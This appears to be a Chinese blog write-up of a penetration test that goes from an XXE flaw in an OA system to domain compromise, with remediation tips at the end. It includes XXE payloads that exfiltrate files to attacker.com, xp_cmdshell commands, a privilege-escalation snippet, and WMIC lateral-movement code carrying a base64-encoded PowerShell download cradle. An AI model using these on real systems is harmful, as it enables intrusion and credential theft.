> 从XXE漏洞到域控沦陷:一次企业级OA系统的渗透实战 _

从XXE漏洞到域控沦陷:一次企业级OA系统的渗透实战

前言

在企业安全渗透测试中,外部实体注入(XXE)漏洞往往被低估其潜在危害。很多安全团队认为XXE只能读取本地文件,但实际上,结合其他技术手段,一个简单的XXE漏洞可能导致整个企业域环境的沦陷。本文将分享一次真实的企业级OA系统渗透测试案例,详细剖析如何从发现XXE漏洞开始,逐步深入,最终获取域控制器权限的全过程。

漏洞发现:OA系统的XXE注入点

目标企业的OA系统采用Java开发,提供了文档在线预览功能。通过抓包分析,发现系统在处理Word文档转换时,向/api/document/convert接口发送XML格式的请求:

<?xml version="1.0" encoding="UTF-8"?>
<DocumentConvert>
    <fileId>12345</fileId>
    <format>pdf</format>
    <options>
        <resolution>300</resolution>
    </options>
</DocumentConvert>

初步测试发现系统未对XML外部实体进行限制,于是构造了基本的XXE Payload进行测试:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE DocumentConvert [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<DocumentConvert>
    <fileId>&xxe;</fileId>
    <format>pdf</format>
</DocumentConvert>

服务器返回了包含/etc/passwd文件内容的错误信息,确认存在XXE漏洞。但真正的挑战才刚刚开始。

信息收集:利用XXE进行内网探测

传统的XXE利用通常止步于文件读取,但我们可以通过一些技巧进行内网服务探测。首先尝试通过HTTP协议访问内网资源:

<!DOCTYPE DocumentConvert [
<!ENTITY % int "<!ENTITY &#x25; trick SYSTEM 'http://192.168.1.1:8080/'>">
%int;
]>

通过观察响应时间差异,可以判断内网IP的存活情况。更有效的方法是使用FTP协议进行端口扫描:

<!DOCTYPE DocumentConvert [
<!ENTITY % dtd SYSTEM "http://attacker.com/portscan.dtd">
%dtd;
]>

其中portscan.dtd内容如下:

<!ENTITY % port "<!ENTITY &#x25; scan SYSTEM 'ftp://192.168.1.1:21/'>">
%port;

通过这种方式,我们绘制出了目标内网的基本拓扑,发现了几台关键服务器。

突破限制:从Blind XXE到数据外带

由于目标系统没有直接回显,需要采用Blind XXE技术将数据外带。这里利用参数实体和FTP协议:

<!DOCTYPE DocumentConvert [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>

evil.dtd文件内容:

<!ENTITY % file SYSTEM "file:///C:/windows/system32/drivers/etc/hosts">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com:2121/%file;'>">
%eval;
%exfil;

在攻击机搭建FTP服务器,成功接收到目标系统的hosts文件内容。这证实了我们可以通过XXE漏洞读取服务器上的任意文件。

凭证获取:寻找关键配置文件

接下来需要寻找应用程序的配置文件,通常包含数据库连接字符串等敏感信息。通过遍历常见路径:

<!ENTITY % file SYSTEM "file:///C:/OA/config/application.properties">

成功读取到数据库配置:

jdbc.url=jdbc:sqlserver://192.168.1.100:1433;databaseName=oa_db
jdbc.username=oa_user
jdbc.password=JX8m#d29!kLp

同时发现了LDAP配置:

ldap.url=ldap://192.168.1.10:389
ldap.baseDN=DC=company,DC=com

权限提升:从数据库到系统权限

获得数据库凭据后,使用SQL Server的xp_cmdshell执行系统命令:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

EXEC xp_cmdshell 'whoami';

发现当前权限为nt authority\network service,需要进一步提权。通过查询发现系统安装了某款杀毒软件,存在已知的本地提权漏洞。

利用该漏洞的Python代码片段:

import os
import sys
from ctypes import *

def exploit():
    # 利用杀软驱动漏洞获取SYSTEM权限
    kernel32 = WinDLL('kernel32', use_last_error=True)

    # 加载漏洞利用驱动程序
    hDevice = kernel32.CreateFileA(
        "\\\\.\\AVDriver", 
        0xC0000000, 
        0, 
        None, 
        3, 
        0, 
        None
    )

    # 发送精心构造的IOCTL
    buf = create_string_buffer(1024)
    kernel32.DeviceIoControl(
        hDevice, 
        0x222003, 
        buf, 
        1024, 
        None, 
        0, 
        byref(c_ulong()), 
        None
    )

成功获取SYSTEM权限后,可以转储LSASS进程内存获取更多凭据。

横向移动:利用获取的域凭据

从LSASS中提取到了多个域用户凭据,包括一个具有本地管理员权限的域账户。使用这些凭据进行横向移动:

import subprocess
from impacket import smbclient

def lateral_movement(target_ip, username, password, domain):
    try:
        # 使用WMI执行命令
        command = 'powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AYwBvAG0ALwBiAGUAYQBjAG8AbgAuAHAAcwAxACcAKQA='

        process = subprocess.Popen([
            'wmic', 
            '/node:' + target_ip,
            '/user:' + domain + '\\' + username,
            '/password:' + password,
            'process', 
            'call', 
            'create',
            command
        ])

        return True
    except Exception as e:
        print(f"横向移动失败: {str(e)}")
        return False

域控攻陷:最终目标达成

通过横向移动,我们逐步接近域控制器。最终发现一个具有域管理员权限的服务账户,利用该账户直接访问域控制器:

from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.rpcrt import DCERPCException

def domain_compromise(dc_ip, username, password, domain):
    try:
        # 建立SMB连接
        smb_conn = smbclient.SMBConnection(
            dc_ip, 
            dc_ip, 
            sess_port=445
        )

        smb_conn.login(username, password, domain)

        # 获取域控制器信息
        rpc_transport = transport.DCERPCTransportFactory(f'ncacn_np:{dc_ip}[\\pipe\\srvsvc]')
        rpc_transport.set_credentials(username, password, domain)

        dce = rpc_transport.get_dce_rpc()
        dce.connect()

        # 调用NetRemoteTOD获取时间(验证权限)
        resp = srvs.hNetrRemoteTOD(dce, f'\\\\{dc_ip}')
        print(f"域控制器时间: {resp['TodInfo']['Time']}")

        # 此时已具备域管理员权限,可以执行任意操作
        return True

    except DCERPCException as e:
        print(f"域控连接失败: {str(e)}")
        return False

成功连接到域控制器后,可以提取整个域的哈希值,创建黄金票据,或者部署持久化后门。

漏洞修复建议

基于此次渗透测试发现的问题,提出以下修复建议:

1. XXE漏洞修复

// 禁用外部实体
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

2. 网络隔离措施

  • 严格限制服务器出站连接
  • 实施网络分段,减少横向移动风险
  • 对敏感服务实施双因素认证

3. 权限最小化原则

  • 应用程序使用低权限账户运行
  • 定期审查服务账户权限
  • 实施凭据保护机制

攻击链条总结

> 文章统计_

字数统计: 计算中...
阅读时间: 计算中...
发布日期: 2025年09月25日
浏览次数: 23 次
评论数量: 0 条
文章大小: 计算中...

> 评论区域 (0 条)_

发表评论

1970-01-01 08:00:00 #
1970-01-01 08:00:00 #
#
Hacker Terminal
root@www.qingsin.com:~$ welcome
欢迎访问 百晓生 联系@msmfws
系统状态: 正常运行
访问权限: 已授权
root@www.qingsin.com:~$